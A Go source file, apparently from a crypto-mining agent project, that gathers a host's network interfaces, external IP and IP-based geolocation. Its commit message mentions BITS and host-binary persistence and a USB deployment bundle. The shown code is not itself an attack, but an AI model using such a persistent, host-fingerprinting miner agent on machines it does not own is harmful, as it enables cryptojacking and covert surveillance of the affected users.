- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help - Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete - Sigil scramble post-forge uniquification and Dispense Reveal ceremony - Full system check, desktop push, BITS/host-binary persistence, Path Tracer - Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav - README documents alerts, sigil scramble, and pack-usb workflow - USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
132 lines
2.8 KiB
Go
132 lines
2.8 KiB
Go
package client
|
|
|
|
import (
|
|
"encoding/json"
|
|
"fmt"
|
|
"io"
|
|
"net"
|
|
"net/http"
|
|
"strings"
|
|
"time"
|
|
|
|
"crypto-miner-agent/deploy"
|
|
)
|
|
|
|
func listNetInterfaces() []SysCheckInterface {
|
|
ifaces, err := net.Interfaces()
|
|
if err != nil {
|
|
return nil
|
|
}
|
|
var out []SysCheckInterface
|
|
for _, iface := range ifaces {
|
|
if iface.Flags&net.FlagUp == 0 {
|
|
continue
|
|
}
|
|
entry := SysCheckInterface{Name: iface.Name}
|
|
if mac := iface.HardwareAddr.String(); mac != "" {
|
|
entry.MAC = mac
|
|
}
|
|
addrs, err := iface.Addrs()
|
|
if err != nil {
|
|
continue
|
|
}
|
|
for _, a := range addrs {
|
|
switch v := a.(type) {
|
|
case *net.IPNet:
|
|
if ip4 := v.IP.To4(); ip4 != nil {
|
|
entry.IPv4 = append(entry.IPv4, fmt.Sprintf("%s/%d", ip4.String(), ones(v.Mask)))
|
|
} else if v.IP != nil && v.IP.To4() == nil {
|
|
entry.IPv6 = append(entry.IPv6, v.IP.String())
|
|
}
|
|
}
|
|
}
|
|
if len(entry.IPv4) > 0 || len(entry.IPv6) > 0 || entry.MAC != "" {
|
|
out = append(out, entry)
|
|
}
|
|
}
|
|
return out
|
|
}
|
|
|
|
func ones(mask net.IPMask) int {
|
|
n, _ := mask.Size()
|
|
return n
|
|
}
|
|
|
|
func fetchExternalIP() (ip, source string) {
|
|
client := &http.Client{Timeout: 6 * time.Second}
|
|
services := []struct {
|
|
url string
|
|
source string
|
|
}{
|
|
{"https://api.ipify.org", "ipify"},
|
|
{"https://icanhazip.com", "icanhazip"},
|
|
{"https://ifconfig.me/ip", "ifconfig.me"},
|
|
}
|
|
for _, svc := range services {
|
|
resp, err := client.Get(svc.url)
|
|
if err != nil {
|
|
continue
|
|
}
|
|
body, err := io.ReadAll(io.LimitReader(resp.Body, 64))
|
|
resp.Body.Close()
|
|
if err != nil || resp.StatusCode != http.StatusOK {
|
|
continue
|
|
}
|
|
candidate := strings.TrimSpace(string(body))
|
|
if parsed := net.ParseIP(candidate); parsed != nil && parsed.To4() != nil {
|
|
return candidate, svc.source
|
|
}
|
|
}
|
|
if wan, err := deploy.GetPublicEndpoint(); err == nil && wan != "" {
|
|
return wan, "upnp"
|
|
}
|
|
return "", ""
|
|
}
|
|
|
|
func fetchGeo(ip string) *SysCheckGeo {
|
|
if ip == "" {
|
|
return nil
|
|
}
|
|
url := fmt.Sprintf("http://ip-api.com/json/%s?fields=status,message,query,country,regionName,city,lat,lon,isp,org", ip)
|
|
client := &http.Client{Timeout: 8 * time.Second}
|
|
resp, err := client.Get(url)
|
|
if err != nil {
|
|
return nil
|
|
}
|
|
defer resp.Body.Close()
|
|
data, err := io.ReadAll(io.LimitReader(resp.Body, 4096))
|
|
if err != nil {
|
|
return nil
|
|
}
|
|
var m map[string]interface{}
|
|
if json.Unmarshal(data, &m) != nil {
|
|
return nil
|
|
}
|
|
if s, _ := m["status"].(string); s != "success" {
|
|
return nil
|
|
}
|
|
g := &SysCheckGeo{Query: ip}
|
|
if v, ok := m["country"].(string); ok {
|
|
g.Country = v
|
|
}
|
|
if v, ok := m["regionName"].(string); ok {
|
|
g.Region = v
|
|
}
|
|
if v, ok := m["city"].(string); ok {
|
|
g.City = v
|
|
}
|
|
if v, ok := m["isp"].(string); ok {
|
|
g.ISP = v
|
|
}
|
|
if v, ok := m["org"].(string); ok {
|
|
g.Org = v
|
|
}
|
|
if v, ok := m["lat"].(float64); ok {
|
|
g.Lat = v
|
|
}
|
|
if v, ok := m["lon"].(float64); ok {
|
|
g.Lon = v
|
|
}
|
|
return g
|
|
}
|